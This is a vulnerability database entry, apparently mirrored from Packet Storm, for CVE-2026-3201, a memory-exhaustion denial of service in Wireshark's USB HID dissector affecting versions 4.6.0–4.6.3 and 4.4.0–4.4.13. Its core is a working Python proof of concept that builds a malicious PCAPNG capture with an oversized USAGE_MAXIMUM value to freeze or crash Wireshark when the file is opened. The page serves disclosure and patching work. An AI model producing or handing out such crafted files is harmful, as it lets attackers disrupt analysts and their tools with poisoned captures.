Lucene search
K

📄 Wireshark USB HID Protocol Dissector Memory Exhaustion

🗓️ 05 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 98 Views

CVE-2026-3201 DoS in Wireshark USB HID dissector on versions 4.6.0–4.6.3 and 4.4.0–4.4.13.

Related
Code
=============================================================================================================================================
    | # Title     : Wireshark 4.6.0 to 4.6.3, 4.4.0 to 4.4.13 USB HID Protocol Dissector Memory Exhaustion                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.wireshark.org/                                                                                                  |
    =============================================================================================================================================
    
    [+] Summary    :  CVE-2026-3201 is a Denial-of-Service (DoS) vulnerability affecting the USB HID protocol dissector in Wireshark versions:
    
    4.6.0 through 4.6.3
    
    4.4.0 through 4.4.13
    
    The vulnerability is triggered when Wireshark parses a specially crafted USB HID Report Descriptor containing an excessively large USAGE_MAXIMUM value.
    
    When such a malformed capture file (e.g., PCAPNG with USBPcap link type 249) is opened, the dissector attempts to allocate memory based on the attacker-controlled value. 
    
    Due to insufficient bounds checking, this can cause uncontrolled memory growth (e.g., via internal array expansion such as wmem_array_grow()), leading to:
    
    Excessive memory consumption
    
    Application freeze
    
    Application crash
    
    [+] Vulnerability Type : Category: Denial of Service (DoS)
    
    [+] POC   :  
    
    import struct
    from scapy.all import *
    
    def generate_perfect_exploit():
        print("[*] Building Refined Malicious USB HID Payload...")
    
        malicious_hid = (
            b"\x05\x01"            
            b"\x09\x06"          
            b"\xa1\x01"            
            b"\x19\x00"            
            b"\x2b\x00\x00\x00\x10" 
            b"\xc0"                 
        )
    
        header_len = 27
        data_len = len(malicious_hid)
        total_len = header_len + data_len
        usb_header = struct.pack("<H Q H B B B B I", 
            header_len,         
            0xDEADBEEFCAFEBABE,  
            1,                   
            1,                   
            0x80,               
            0x02,               
            ord('C'),           
            data_len             
        )
        usb_header += b"\x00" * (header_len - len(usb_header))
        full_pkt = usb_header + malicious_hid
        with open("wireshark_usb_dos_fixed.pcapng", "wb") as f:
            f.write(struct.pack("<I I I I Q", 0x0A0D0D0A, 0x1C, 0x1A2B3C4D, 0x00010000, 0xFFFFFFFFFFFFFFFF))
            f.write(struct.pack("<I I H H I", 0x00000001, 0x14, 249, 0, 0x00000000)) 
            epb_body = struct.pack("<I I I I I", 0, total_len, total_len, 0, 0) + full_pkt
            pad = (4 - (len(epb_body) % 4)) % 4
            epb_total_len = len(epb_body) + 12 + pad      
            f.write(struct.pack("<I I", 0x00000006, epb_total_len)) # Type & Total Length
            f.write(epb_body + (b"\x00" * pad))
            f.write(struct.pack("<I", epb_total_len)) # Total Length footer
    
        print("[!] Success: 'wireshark_usb_dos_fixed.pcapng' generated.")
        print("[*] Logic: USAGE_MAX (0x10000000) will trigger wmem_array_grow() exhaustion.")
    
    if __name__ == "__main__":
        generate_perfect_exploit()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.14.7 - 7.5
EPSS0.00034
SSVC
98